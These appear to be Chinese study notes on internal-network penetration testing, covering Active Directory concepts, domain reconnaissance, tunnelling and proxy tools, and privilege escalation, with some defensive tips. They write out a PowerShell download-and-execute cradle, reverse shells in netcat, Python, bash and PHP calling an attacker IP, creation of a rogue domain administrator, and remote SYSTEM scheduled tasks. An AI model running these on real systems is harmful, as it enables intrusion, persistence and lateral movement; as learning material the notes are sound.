内网渗透学习笔记

第一章

1.1

工作组

**概念:**将不同的计算机按功能(或部门)组成的一个计算机集合

**特点:**工作组没有集中管理的作用,所有计算机都是对等的(即没有客户机与服务机之分)

基本概念

一个具有安全边界的计算机集合(安全边界指一个域中的用户无法访问另一个域中的资源)

什么是域控制器

域中一台类似管理服务器的计算机

域控制器的特点

负责所有连入的计算机和用户的验证工作

存在有域内账户、密码等属于域内计算机的信息构成的数据库

可以有多个域控

域环境

域环境一般有:单域、父域和子域、域树、域森林、域名服务器

父域和子域的关系

一个父域包含多个子域,父域子域是相对关系,其中父域与子域的安全策略独立

域树

域树是多个域通过建立信任关系组成的集合

使用点好进行隔开,一个“.”代表一个层次,放在域名的最后子域称为最高子域或一级域,他前面的子域称为二级域

子域只能使用父域的名字作为其域名的后缀

域森林

域森林指多个域树通过建立信任关系组成的集合

活动目录

活动目录是指域环境中提供目录服务的组件,存储有关网络对象的信息,帮助用户快速准确的从目录中找到其所需要信息的服务。提供了网络环境的集中管理机制

功能主要为:拥有账号、软件、环境的集中管理,增强安全性,更可靠更短的宕机时间

ISA防火墙、Exchange邮件服务器、SMS系统服务管理服务器都依赖于活动目录

安全域划分

DMZ称为隔离区,为了解决安装防火墙后外部网络不能访问内部网络服务器的问题而设立的一个非安全系统与安全系统之间的缓冲区。位于企业内部网络和外部网络之间

拥有DMZ的网络时,需要定义以下访问控制:

  • 内网可以访问外网
  • 内网可以访问DMZ
  • 外网不能访问内网
  • 外网可以访问DMZ
  • DMZ不能访问内网、外网

内网的划分:办公区、核心区

鱼叉攻击:直接针对特定目标进行攻击,如钓鱼邮件

水坑攻击:没有确定的目的,如在受害者常访问的网站设置恶意代码等待受害者踩坑

域内权限解读

组是用户账号的集合,方便统计管理和分配权限

需要记忆以下几个组:

  • 域本地组:来自于全林,作用于本域(多域用户访问本域内资源)

  • 全局组:来自于本域,作用于全林(本域用户访问多域资源)

  • 通用组:来自于全林,作用于全林(保存不经常变化的信息,不推荐直接保存账号信息)

A-G-DL-P策略

指将用户账号添加到全局组中,将全局组添加到域本地组中,然后为域本地组分配资源权限。

  • A:表示用户账号

  • G:表示全局组

  • DL:表示域本地组

  • P:表示资源权限

  • U:表示通用组

重要本地组权限

  • 管理员组:成员可以不受限制地存取计算机/域的资源
  • 账号操作员组:成员可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录域控制器
  • 服务器操作员组:成员可以管理域服务器

重要全局组权限

  • 域管理员组:成员在所有加入域的服务器(工作站)、域控制器和活动目录中均默认拥有完整的管理员权限。
  • 企业系统管理员组:是域森林根域中的一个组。 该组在域森林中的每个域内都是Administrators组的成员,因此对所有域控制器都有完全访问权。
  • 架构管理员组:是域森林根域中的一个组。 可以修改活动目录和域森林的模式。该组是为活动目录和域控制器提供完整权限的域用户组
  • 域用户组:包含所有的域成员,默认情况下建立的用户账号均属于域用户组

1.2

虚拟机网络适配器

桥接模式:虚拟机视为独立的机器,有DHCP可以自动分配地址,无DHCP只能手动分配地址

NAT模式:虚拟机通过物理机的连接访问网络(即NAT地址转换),除主机外其他网络无法访问虚拟机(默认模式)

Host-only模式:虚拟机处于独立的网段,只能通过连接共享功能实现共享上网,否则无法上网。

PowerShell

PowerShell是一个命令行外壳程序脚本环境

特点:

  • Win7以上系统默认安装
  • 脚本可以在内存执行,不写入硬盘
  • 几乎不会触发杀毒软件
  • 可以远程执行
  • PowerShell运行通常不会被阻止(cmd通常会被阻止)
  • 可管理活动目录

扩展名:.ps1

1
2
3
# 获取版本信息
Get-Host
$PSVersionTable.PSVersion

执行策略

获取当前执行策略

1
Get-ExecutionPolicy

一般会有以下几种执行策略:

  • Restricted:脚本不能执行(默认设置)
  • RemoteSigned:本地脚本可以执行,但是网上下载的脚本不能运行(有数字证书签名除外)
  • AllSigned:仅由受信任的发布者签名才能运行
  • Unrestricted:允许所有脚本运行

修改执行策略

1
Set-ExecutionPolicy <Policy name>

脚本运行

需要输入完整的路径以及文件名字,如果在系统目录则可以使用.\a.ps1来运行

1
C:\Script\a.ps1

命令格式

一般采用动词-名词形式,同时其不区分大小写

1
2
3
4
5
6
7
New-Item filename -ItemType Directory	# 新建目录
New-Item filename -ItemType File # 新建文件
Remove-Item filename # 删除文件
Get-Content filename # 显示文本内容
Set-Content filename -value "文件内容" # 设置文本内容
Add-Content filename -value "文件内容" # 文本追加
Clear-Content filename # 删除内容

常用命令&参数

绕过本地权限执行方式

1
2
3
4
# 方法一
powershell.exe -ExecutionPolicy Bypass -File Example.ps1
# 方法二
powershell.exe -ExecutionPolicy Bypass -Command "&{Import-Module C:\Example.ps1; Invoke-AllChecks}"

常见参数

导入PowerShell命令

1
Import-Module C:\Example.ps1

网站下载脚本执行(了解)

1
powershell.exe -ExecutionPolicy Bypass-WindowStyle Hidden -NoProfile -NonI IEX(New-ObjectNet.webclient).DownloadString("xxx.ps1"); [Parameters]

采用不加载用户配置文件、非交互模式进行下载

第二章

2.2

手动收集信息

查询网络配置

1
2
# cmd、PowerShell
ipconfig /all

操作系统&软件信息

获取操作系统版本

1
2
3
# cmd、PowerShell
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" # 中文版操作系统

查看系统体系结构

1
2
# cmd、PowerShell
echo %PROCESSOR_ARCHITECTURE%

查看安装的软件版本、路径

1
2
3
4
# wmic
wmic product get name,version
# cmd、PowerShell
powershell "Get-WmiObject -class Win32_Product" | Select-Object -Property name,version

本机服务信息

1
2
# wmic
wmic service list brief

进程列表

1
2
3
4
# cmd、PowerShell
tasklist
# wmic
wmic process list brief

启动进程信息

1
2
# wmic
wmic startup get command,caption

查看计划任务(要求掌握参数)

1
2
# cmd、PowerShell
schtasks /query /fo LIST /v

/tn TaskName 指定任务的名称。

/tr TaskRun 指定任务运行的程序或命令。键入可执行文件、脚本文件或批处理文件的完全合格的路径和文件名。

​ 如果忽略该路径,SchTasks.exe 将假定文件在 Systemroot\System32 目录下。

/sc schedule 指定计划类型。有效值为 MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY、ONCE、ONSTART、ONLOGON、ONIDLE。

值说明

MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY
指定计划的时间单位。

ONCE
任务在指定的日期和时间运行一次。

ONSTART
任务在每次系统启动的时候运行。可以指定启动的日期,或下一次系统启动的时候运行任务。

ONLOGON
每当用户(任意用户)登录的时候,任务就运行。可以指定日期,或在下次用户登录的时候运行任务。

ONIDLE
只要系统空闲了指定的时间,任务就运行。可以指定日期,或在下次系统空闲的时候运行任务。

/mo modifier 指定任务在其计划类型内的运行频率。这个参数对于 MONTHLY 计划是必需的。对于 MINUTE、HOURLY、DAILY 或 WEEKLY 计划,这个参数有效,但也可选。默认值为 1。

计划类型
修饰符
说明

MINUTE
11439
任务每 n 分钟运行一次。

HOURLY
123
任务每 n 小时运行一次。

DAILY
1365
任务每 n 天运行一次。

WEEKLY
152
任务每 n 周运行一次。

MONTHLY
112
任务每 n 月运行一次。

LASTDAY
任务在月份的最后一天运行。

FIRSTSECONDTHIRDFOURTHLAST
/d day 参数共同使用,并在特定的周和天运行任务。例如,在月份的第三个周三。

/d dirlist 指定周或月的一天。只与 WEEKLY 或 MONTHLY 计划共同使用时有效。

计划类型
日期值

WEEKLY
可选项。有效值是 MON ~ SUN 和 * (每一天)。MON 是默认值。

MONTHLY
在使用 FIRST、SECOND、THIRD、FOURTH 或 LAST 修饰符 (/mo) 时,需要 MON ~ SUN 中的某个值。1 ~ 31 是可选的,只在没有修饰符或修饰符为 1 ~ 12 类型时有效。默认值是 1 (月份的第一天)。

/m month[**,**month…]

指定一年中的一个月。有效值是 JAN ~ DEC 和 * (每个月)。/m 参数只对于 MONTHLY 计划有效。在使用 LASTDAY 修饰符时,这个参数是必需的。否则,它是可选的,默认值是 * (每个月)。

/i InitialPageFileSize

指定任务启动之前计算机空闲多少分钟。键入一个 1 ~ 999 之间的整数。这个参数只对于 ONIDLE 计划有效,而且是必需的。

/st StartTime

以 HH:MM:SS 24 小时格式指定时间。默认值是命令完成时的当前本地时间。/st 参数只对于 MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY 和 ONCE 计划有效。它只对于 ONCE 计划是必需的。

/sd StartDate

MM/DD/YYYY 格式指定任务启动的日期。默认值是当前日期。/sd 参数对于所有的计划有效,但只对于 ONCE 计划是必需的。

/ed EndDate

指定任务计划运行的最后日期。此参数是可选的。它对于 ONCE、ONSTART、ONLOGON 或 ONIDLE 计划无效。默认情况下,计划没有结束日期。

/s Computer

指定远程计算机的名称或 IP 地址(带有或者没有反斜杠)。默认值是本地计算机。

/u [domain]user

使用特定用户帐户的权限运行命令。默认情况下,使用已登录到运行 SchTasks 的计算机上的用户的权限运行命令。

/p password

指定在 /u 参数中指定的用户帐户的密码。如果使用 /u 参数,则需要该参数。

/ru {[Domain]User | “System”}

使用指定用户帐户的权限运行任务。默认情况下,使用用户登录到运行 SchTasks 的计算机上的权限运行任务。


说明

[domain}User?
指定用户帐户。

“System”“”
指定操作系统使用的 NT Authority\System 帐户。

/p Password

指定用户帐户的密码,该用户帐户在 /u 参数中指定。如果在指定用户帐户的时候忽略了这个参数,SchTasks.exe 会提示您输入密码而且不显示键入的文本。使用 NT Authority\System 帐户权限运行的任务不需要密码,SchTasks.exe 也不会提示索要密码。

开机时间

1
2
# cmd、PowerShell
net statistics workstation

用户列表

1
2
# cmd、PowerShell
net user

本地管理员信息(通常包括与用户信息)

1
2
# cmd、PowerShell
net localgroup administrators

在线用户

1
2
# cmd、PowerShell
query user || qwinsta

列出连接会话

1
2
# cmd、PowerShell
net session

端口列表

1
2
# cmd、PowerShell
netstat -ano

补丁列表

1
2
3
4
# cmd、PowerShell
systeminfo
# wimc
wimc qfe get Caption,Description,HotFixID,InstalledOn

本机共享列表和可访问的域共享列表

1
2
3
4
# cmd、PowerShell
net share
# wmic
wmic shear get name,path,status

查看路由表以及arp缓存表

1
2
3
# cmd、PowerShell
route print
arp -a

自动收集信息

知道 Wmic、Empire工具名字即可

2.3

查询当前权限

1
2
# cmd、PowerShell
whoami

三种不同的权限

  1. 本地普通用户,如:win-2008\user
  2. 本地管理员用户,如:win7-x64\administrator
  3. 域内用户,如:hacker\administrator,其表示在域hacker内的管理员账户

SID

SID的全称是安全标识符(Security Identify),是为域或本地计算机中创建的每个帐户分配的唯一ID字符串

SID获取

1
2
# cmd、PowerShell
whoami /all

指定用户详细信息(需要在域环境执行)

1
2
# cmd、PowerShell
net user XXX /domain # XXX 指对应用户名

2.4

判断是否存在域

使用ipconfig

1
2
# cmd、PowerShell
ipconfig /all

查看系统详细信息

1
2
# cmd、PowerShell
systeminfo

查询当前登录域以登录用户信息

1
2
# cmd、PowerShell
net config workstation

判断主域

1
2
# cmd、PowerShell
net time /domain

判断方式:

  • 存在域,但当前不是域用户:发生系统错误 5
  • 存在域,且当前用户是域用户:显示时间
  • 当前为工作组,不存在域:找不到域控

2.5

探测域内存活主机

NetBIOS探测

NetBIOS是局域网程序使用的一种API,几乎所有的局域网都是在NetBIOS协议的基础上工作的。

NetBIOS也是计算机的标识名,主要用于局域网中计算机的互访。

NetBIOS的工作流程就是正常的机器名解析査询应答过程

对应工具:nbtscan

ICMP协议探测

1
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="

需要看懂上面命令

for /L %I in (1,1,254) do 构造了一段循环,/L指循环(loop)

前半段为固定的格式,类似于C中的for(i=1;i<=254;i=i+1)

DO后面跟着的是执行的语句

-w 1 是超时时间设置为1ms

-n 1 是只发送一个包

目的ip的最后8位被循环变量代替

最后通过管道将结果利用findstr命令过滤,只显示通的IP

@ 用于隐藏ping命令自身的回显

VBS脚本运行

1
cscript Example.vbs

2.6

扫描域内端口

telnet

1
2
# cmd、PowerShell
telnet <域控计算机名> <探测端口>

可以快速的探测某个主机的常规的高危端口是否开放

Metasploit

启动:msfconsole

使用指定模块

1
use <模块名> 如use auxiliary/scanner/portscan/tcp 

显示设置:show options

设置端口:set port <端口号范围>

设置远程目的IP:set rhosts

设置线程数:set threads <线程数量>

运行:run

端口bannner信息

2.7

收集域内基础信息

查询域

1
2
# cmd、PowerShell
net view /domain

查询域内所有计算机

1
2
# cmd、PowerShell
net view /domain:<域名>

查询域内所有用户组列表

1
2
# cmd、PowerShell
net group /domain

查询所有域成员计算机列表

1
2
# cmd、PowerShell
net group "Domain Computers" /domain

获取域密码信息

1
2
# cmd、PowerShell
net accounts /domain

获取域信任信息

1
2
# cmd、PowerShell
nltest /domain_trusts

2.8

查看域控制器机器名

1
2
# cmd、PowerShell
nltest /DCLIST:<域名> netdome query pdc

查看域控制器主机名

1
2
# cmd、PowerShell
nslookup -type=SRV_ldap._tcp

查看当前时间

1
2
# cmd、PowerShell
net time /domain

查看域控制器组

1
2
# cmd、PowerShell
net group "Domain Controllers" /domain

2.9

查询域管理员用户

1
2
# cmd、PowerShell
net group "domain admins" /domain

查询管理员用户组

1
2
# cmd、PowerShell
net group "Enterprise Admins" /domain

2.10

定位域管理员(知道工具即可)

psloggedon.exe、PVEFindADUser.exe、NetVie、Nmap的NSE脚本(如何使用)

namp nse脚本使用:

1
2
# cmd、PowerShell
nmap -script 脚本名称 目标

此处使用的为:smb-enum-sessions.nse来获取远程机器的登录会话,smb-os-discovery.nse获取目标主机信息

后续的信息收集使用:

1
smb-enum-<收集信息>.nse

收集信息选项包括:

1
2
3
4
5
domains(域控主机)
users(域用户信息)
shares(共享目录)
processes(系统进程,运行软件)
sessions(登录会话,登录状态)

2.11

查找域管理进程

获取域管理员列表

1
2
# cmd、PowerShell
net group "Domain Admins" /domaim

列出本机所有进程以及进程用户

1
2
# cmd、PowerShell
tasklist /v

第三章

3.1

隐藏通信隧道基础

常用隧道

网络层:IPv6隧道、ICMP隧道、GRE隧道

传输层:TCP隧道、UDP隧道、常规端口转发

应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道

常用工具

ICMP协议

1
2
# cmd、PowerShell
ping <IP地址或域名>

TCP协议

1
2
# cmd、PowerShell
nc <IP地址 端口号>

HTTP协议

1
2
3
4
# cmd、PowerShell on Windows
curl <target url/IP:Port>
# bash on Linux
wget <target url/IP:Port>

DNS协议

1
2
3
4
5
6
# cmd、PowerShell
nslookup <target url/IP:Port> <DNS Server IP> # run on Windows
dig @<DNS Server IP> <target url/IP:Port> # run on Linux
# Examples
nslookup www.baidu.com vps-ip
dig @vps-ip www.baidu.com

3.2

IPv6隧道(了解)

通过 Ipv4 传递 Ipv6 数据包,可以绕开一些防火墙

ICMP隧道

PingTunnel

PingTunnel基本特点:属于网络层,可以设置密码

设置密码
1
2
# cmd、PowerShell
ptunnel -x <Password>
VPS内设置隧道
1
2
# cmd、PowerShell
ptunnel -p <另外一端的ptunnel服务器IP地址(即代理服务器IP)> -lp <本机监听端口> -da <靶机地址> -dp <靶机端口>

以上图为例(VPS IP:192.168.1.10):ptunnel -p 192.168.1.4 -lp 1080 -da 1.1.1.10 -dp 3389

常见参数:

-x:指定ICMP隧道连接的验证密码

-lp:指定要监听的本地TCP端口

-da:指定要转发的目标机器的IP地址

-dp:指定要转发的目标机器的TCP端口

-p:指定ICMP隧道另一端的机器的IP地址

上述命令的含义是:在访问攻击者VPS(192.168.1.10)的1080端口时,会把数据库服务器1.1.1.10的3389端口的数据封装在ICMP隧道里,以 Web服务器192.168.1.4为ICMP隧道跳板进行传送。

防范方法
  • 检测同一来源的ICMP数据包的数量。一个正常的ping命令每秒最多发送两个数据包,而使用ICMP 隧道的浏览器会在很短的时间内产生上千个ICMP数据包
  • 注意那些Payload大于64bit的ICMP数据包
  • 寻找响应数据包中的Payload与请求数据包中的Payload不一致的ICMP数据包
  • 检查ICMP数据包的协议标签。例如,icmptunnel会在所有的ICMP Payload前面添加TUNL标记 来标识隧道

3.3

传输层隧道

传输层技术包括TCP隧道、UDP隧道和常规端口转发等

lcx端口转发

内网端口转发
1
2
3
# cmd、PowerShell
lcx.exe -slave <VPS IP> <VPS 端口> 127.0.0.1 <本机转发端口> # 目标机器上执行
lcx.exe -listen <VPS 端口 1> <VPS 端口 2> # VPS上运行

转发完成后可以通过访问VPS的端口2来访问目标机器所转发的端口

本地端口映射

如果目标服务器因为防火墙的限制,部分端口无法通过防火墙,则可以在目标主机上将对应端口数据通过其他防火墙允许的端口进行传递

1
2
# cmd、PowerShell
lcx -trans <允许通过的端口> <不允许通过的端口> # 目标机器上运行

netcat

常用参数:

-l 用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。
-p 设置通信端口
-s 指定发送数据的源IP地址,适用于多网卡机
-u 指定nc使用UDP协议,默认为TCP
-v 输出交互或出错信息,新手调试时尤为有用 (-vv 获取更详细的输出信息)
-w 超时秒数,后面跟数字
-n 直接使用IP地址(不通过域名服务器)

banner抓取
1
2
# cmd、PowerShell
nc -nv <靶机ip> <靶机端口>
链接远程主机
1
2
# cmd、PowerShell
nc -nvv <靶机ip> <靶机端口>
端口扫描
1
2
3
# cmd、PowerShell
nc -v <靶机ip> <靶机端口>
nc -v -z <靶机ip> <端口范围> # 用于批量扫描(扫描速度很慢)
端口监听
1
2
# cmd、PowerShell
nc -l -p <本地端口>
文件传输
1
2
3
# cmd、PowerShell
nc -vn <目的IP> <目的端口> < <文件名> -q -1 # 用于发送文件
nc -l -p <本地端口> > <文件名> # 用于将接收的信息保存到文件中
简易聊天
1
2
3
# cmd、PowerShell
nc -l -p <本地端口> # 本地主机运行
nc -vn <目的IP> <目的端口> # 远程主机运行
Shell获取-正向
1
2
3
4
5
6
# cmd、PowerShell
# 攻击机
nc -lvp <端口> -e /bin/bash # run on Linux
nc -lvp <端口> -e C:\Windows\System32\cmd.exe # run on Windows
# 靶机
nc <攻击机IP> <攻击机端口>
Shell获取-反向
1
2
3
4
5
6
# cmd、PowerShell
# 攻击机
nc -lvp <端口>
# 靶机
nc <攻击机IP> <攻击机端口> -e C:\Windows\System32\cmd.exe # run on Windows
nc <攻击机IP> <攻击机端口> -e /bin/bash # run on Linux

无nc时反向shell

python反向shell
1
2
# cmd、PowerShell
python -c 'import socket, subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.4",2222)) ; os.dup2(s.fileno() ,0);os.dup2(s.fileno(),1); os.dup2(s.fileno( ),2);p=subprocess.call(["/bin/sh","-i"]);'
bash反向shell
1
2
3
4
5
# cmd、PowerShell
# 攻击机
nc —lvp <某个端口>
# 靶机
bash -i >& /dev/tcp/<攻击机IP>/<攻击机端口> 0>&1
php反向shell
1
2
3
4
5
# cmd、PowerShell
# 攻击机
nc —lvp <某个端口>
# 靶机
php -r '$sock=fsockopen("<攻击机ip>",<攻击机端口>);exec("/bin/sh -i <&3 >&3 2>&3");'

内网代理

有如上拓扑图时想要VPS能够访问对应的数据库服务器,则需要通过web服务器进行代理

1
2
3
4
5
6
7
# bash
# run on VPS
nc -lvp 3333
# run on SQL Server(Linux)
nc -lvp 3333 -e /bin/bash
# run on Web Server(Linux)
nc -v 192.168.1.4 3333 -c "nc -v 1.1.1.200 3333"

PowerCat

nc的PowerShell版本

正向shell获取
1
2
3
4
5
# cmd、PowerShell
# 攻击机
nc 192.168.99.27 8080 -vv # 受害机IP:192.168.99.27
# 受害机
powercat -l -p 8080 -e cmd.exe -v
反向shell获取
1
2
3
4
5
# cmd、PowerShell
# 攻击机
nc -l -p 8080 -vv
# 受害机
powercat -c 192.168.99.18 -p 8080 -v -e cmd.exe # 攻击机IP:192.168.99.18

3.4

应用层隧道

SSH协议

SSH为建⽴在应⽤层基础上的安全协议。SSH是较可靠,专为远程登录会话和其他⽹络服务提供安全性的协议

本地转发

将靶机端口数据转发到vps对应的端口上,之后可以通过访问vps的对应端口以访问靶机的对应端口

1
2
# bash
ssh -CfNg -L <vps端口>:<靶机ip>:<靶机端口> <跳板机用户>@<跳板机ip> # 此处跳板机通常为内网的Web服务器,下同

相关参数:

-C: 压缩传输,提高传输速度
-f: 将SSH传输转入后台执行,不占用当前的Shell
-N: 建立静默连接(建立了连接,但是看不到具体会话)
-g: 允许远程主机连接本地用于转发的端口
-L: 本地端口转发
-R: 远程端口转发
-D: 动态转发(SOCKS代理)
-P: 指定SSH端口

远程转发

用于外部vps不能访问内网的服务器,但内网可以访问外网vps

1
2
# bash
ssh -CfNg -R <vps端口>:<靶机ip>:<靶机端口> <vps用户>@<vpsIP地址> # 内网的Web服务器上运行
动态转发
1
2
# bash
ssh -CfNg -D <端口> <跳板机用户>@<跳板机ip> # VPS上运行
防范思路
  • SSH隧道之所以能被攻击者利用,主要是因为系统访问控制措施不够
  • 在系统中配置SSH远程管理白名单
  • ACL中限制只有特定的IP地址才能连接SSH
  • 设置系统完全使用带外管理

DNS协议

dnscat2

一款使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份认证的开源软件是一个命令与控制工具,客户端采用 C,服务端采用 Ruby

**特点:**支持多个会话、流量加密、使用密钥防止MiTM攻击、在内存中直接执行PowerShell脚本、隐蔽通信。

1
2
3
4
5
# bash
# 服务端
dnscat2-server # 启动服务器
# 客户端
./dnscat --dns server=<服务器ip>,port=<服务器端口> --secret=<服务器密钥>

防范方式:

  • 禁止网络中的任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信
  • 将邮件服务器/网关列入白名单阻止传入和传出流量中的TXT请求
  • 跟踪用户的DNS査询次数。如果达到阈值,就生成相应的报告
  • 阻止ICMP

3.5

SOCKS代理

特点

SOCK4只支持TCP协议,SOCK5支持TCP/UDP协议于身份验证机制

标准端口为1080,能够直接与靶机进行通信,避免多次端口转发

EarthWorm

EarthWorm是一款用于开启 SOCKS v5 代理服务的工具,基于标准 C 开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发。

参数

1
2
3
4
5
6
7
-l 为服务启动打开一个端口
-d 设置反连主机地址
-e 设置反连端口
-f 设置连接主机地址
-g 设置连接端口
-t 设置超时的毫秒数。默认值值为1000
-s 状态设置功能

其中链路状态有六种,使用-s进行设置:

1
2
3
ssocksd  用于正向代理
rcsocks rssocks 用于反向代理
lcx_slave lcx_tran lcx_listen 复杂网络的多级级联

正向服务器

1
2
# cmd、PowerShell、bash
ew -s ssocksd -l <端口号>

架设端口号的一个SOCKS代理

在失陷主机上运行,Kali便可以通过1.1.1.1:8888来获取对应1.1.1.1主机提供的代理

反向服务器

1
2
3
# cmd、PowerShell、bash
ew -s rcsocks -l <接收端口> -e <转发端口> # VPS上运行
ew -s rssocks -d <VPS IP> -e <转发端口> # 失陷主机上运行

此时Kali可通过访问 1.1.1.1:1080 端口使用 rssocks 主机提供的 socks5 代理服务

二重网络环境搭建-A

获得目标网络内两台主机 A、B 的权限,情况描述如下:

A 主机: 存在公网 IP,且自由监听任意端口,无法访问特定资源

B 主机: 目标网络内部主机,可访问特定资源,但无法访问公网

A 主机可直连 B 主机

1
2
3
4
5
# cmd、PowerShell、bash
# A主机
ew -s lcx_tran -l <目标端口> -f <b主机ip> -g <转发端口>
# B主机
ew -s ssocksd -l <转发端口>

二重网络环境搭建-B

获得目标网络内两台主机 A、B 的权限,情况描述如下:

A 主机: 目标网络的边界主机,无公网 IP,无法访问特定资源。

B 主机: 目标网络内部主机,可访问特定资源,却无法回连公网。

A 主机可直连 B 主机,需要一台公网vps

1
2
3
4
5
6
7
# cmd、PowerShell、bash
# vps
ew -s lcx_listen -l <接收端口> -e <转发端口1>
# A主机
ew -s lcx_slave -d -e <转发端口1> -f -g <转发端口2>
# B主机
ew -s ssocksd -l <转发端口2>

kali 可通过访问 1.1.1.1:1080 来使用 2.2.2.3 主机提供的 socks5 代理

ProxyChains

修改配置

1
2
# bash
vi /etc/proxychains.conf

测试代理

1
2
# bash
proxyresolv <域名>

启动代理浏览器

1
2
# bash
proxychains firefox

第四章

4.1

Windows中的四种权限

  • User:普通用户权限,是系统中最安全的权限(因为分配给该组的默认权限不允许成员修改操作系统的设置或用户资料)
  • Administrator:管理员权限。如果没有管理员权限,就无法进行获取散列值、安装软件、修改防 火墙规则、修改注册表等操作
  • System:系统权限。可以对SAM等敏感文件进行读取,往往需要将Administrator权限提升到 System权限才可以对散列值进行Dump操作
  • TrustedInstaller:Windows中的最高权限。对系统文件,即使拥有System权限也无法进行修改。只有拥有TrustedInstaller权限的用户才可以修改系统文件

系统内核溢出漏洞提权分析以及防范(了解)

使用Metasploit发现对应缺失补丁

Windows Exploit Suggester将系统已安装补丁和微软抖动数据库比较,识别可能导致权限提升的漏洞

Powershell中的Sherlock脚本查找用于本地权限提升的漏洞

4.2

Windows 操作系统配置错误利用分析及防范

服务文件特点

Windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件

Windows服务以System权限运行,因此其文件夹,文件和注册表键值都是受强访问机制保护

Windows Installer

Windows Installer是indows操作系统的组件之一,用于管理和配置软件服务

其分为客户端安装服务(Msiexec.exe)和MSI文件两部分,MSI文件是Windows Installer的数据包 Windows Installer 通过 Msiexec.exe 安装MSI文件包含的程序

4.3

组策略首选项提权分析及防范

  • SYSVOL是活动目录里面的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器之间进行复制
  • SYSVOL文件夹是在安装活动目录时自动创建的,主要用来存放登录脚本、组策略数据及其他域控 制器需要的域信息等
  • 整个SYSVOL目录在所有的域控制器中是自动同步和共享的,所有的域策略均存放在C:\Windows\SYSVOL\DOMAIN\Policies\目录中。

4.4

绕过UAC提权分析及防范

UAC(UserAccountControl,用户账户控制)是微软为提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或者在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码

需要UAC的操作:

  • 配置Windows Update
  • 增加/删除账户
  • 更改账户类型
  • 更改UAC的设置
  • 安装ActiveX
  • 安装/卸载程序
  • 安装设备驱动程序
  • 将文件移动/复制到ProgramFilesWindows目录下
  • 査看其他用户的文件夹

Bypassuac

在经过前期一系列的渗透测试后,拿到目标机器的meterpreter Shell后此时为普通用户权限,现在需要尝试获取System权限

使用msf的exploit/windows/local/bypassuac模块来进行获取一个新的meterpreter Shell,之后执行getsystem命令,可以看到绕过了UAC,获取到了System权限

4.5

令牌窃取分析及防范

令牌(Token)是指系统中的临时密钥,相当于账户和密码,用于决定是否允许当前请求及判断当前请求是属于哪个用户的

**特点:**随机性和不可预测性。一般的攻击者或软件都无法将令牌猜测出来

伪造令牌的核心是Kerberos协议

Kerberos协议

个人觉得这个博客讲的非常好,建议看这个学习而不是看书:详解kerberos认证原理 | Hero (seevae.github.io)

其中的三个角色:

  • 客户端(client):发送请求的一方
  • 服务端(Server):接收请求的一方
  • **密钥分发中心(Key Distribution Center,KDC)**而密钥分发中心一般又分为两部分,分别是:
    • AS(Authentication Server):认证服务器,专门用来认证客户端的身份并发放客户用于访问TGS的TGT(Ticket Granting Ticket 票据授予票据)
    • TGS(Ticket Granting Server):票据授予服务器,用来发放整个认证过程以及客户端访问服务端时所需的服务授予票据(Ticket)

添加域管理员

添加域用户

1
2
# cmd、PowerShell
net user <用户名> <密码> /ad /domain

把用户添加到域管理员组

1
2
# cmd、PowerShell
net group "domain admins" <用户名> /ad /domain

查看域管理员组

1
2
# cmd、PowerShell
net group "domain admins" /domain

防范令牌窃取

  • 及时安装微软推送的补丁
  • 不使用对来路不明的或者有危险的软件
  • 对令牌的时效性进行限制,越敏感的数据,其令牌时效应该越短
  • 对每个操作使用不同的令牌
  • 对于令牌,应采取加密存储及多重验证保护
  • 使用加密链路SSL/TLS传输令牌,以防止被中间人窃听

4.6

无凭证条件下的权限获取去分析及防范

LLMNR

本地链路多播名称解析(LLMNR)是一种域名系统数据包格式,当局域网中DNS服务器不可用时,DNS客户端使用LLMNR解析本地网段中机器的名称。 Windows从Vista版本开始支持LLMNR,支持IPv6

NetBIOS

NetBIOS是一种网络协议,根据NetBIOS协议广播获得计算机名称,并将其解析为相应的IP地址。(不支持IPv6)

Net-NTLM-Hash和NTLM-Hash的区别

NTLM Hash是指Windows操作系统的Security Account Manager中保存的用户密码散列值。通常保存在Windows的SAM文件或者NTDS.DIT数据库中,用于对访问资源的用户进行身份验证。

Net-NTLM Hash是指在网络环境中经过NTLM认证的散列值。挑战/响应验证中的“响应”就包含Net NTLM Hash。使用Responder抓取的通常就是Net-NTLM Hash

第五章

5.1

IPC

IPC是为了实现进程间通信而开放的命名管道

建立IPC

1
2
# cmd、PowerShell
net use \\<target ip/hostname>\ipc$ "<Password>" /user:<username>

查看已建立的连接

1
2
# cmd、PowerShell
net use

删除建立的IPC

1
2
# cmd、PowerShell
net use \\<target ip/hostname>\ipc$ /del /y

IPC利用条件

  • 开启了139、445端口
  • 管理员开启了默认共享

使用Windows自带的工具获取远程主机信息

dir

列出远程主机文件

1
2
# cmd、PowerShell
dir \\<target ip>\c$

tasklist

显示远程主机的进程

1
2
# cmd、PowerShell
tasklist /S <target ip> /U <username> /P <Password>

计划任务

创建计划任务

1
2
# cmd、PowerShell
schtasks /create /s 192.168.100.192 /tn test /sc onstart /tr c:\calc.bat /ru system /f

/s:在ip为192.168.100.192的远程系统中
/tn:创建一个名为test的计划任务
/sc:开机时启动
/tr:运行的程序为C盘中的calc.bat
/ru:运行权限为System
/f:如果已经存在同名的任务则强制创建

运行远程计划任务

1
2
# cmd、PowerShell
schtasks /run /s 192.168.100.192 /i /tn "Test"

/i:指定运行一个已计划的任务之前要等待的空闲时间(上述命令中指代立即执行)

删除远程计划任务

1
2
# cmd、PowerShell
schtasks /delete /s 192.168.100.192 /tn "Test" /f

/f:强制删除

5.2

LM Hash 和 NTLM Hash

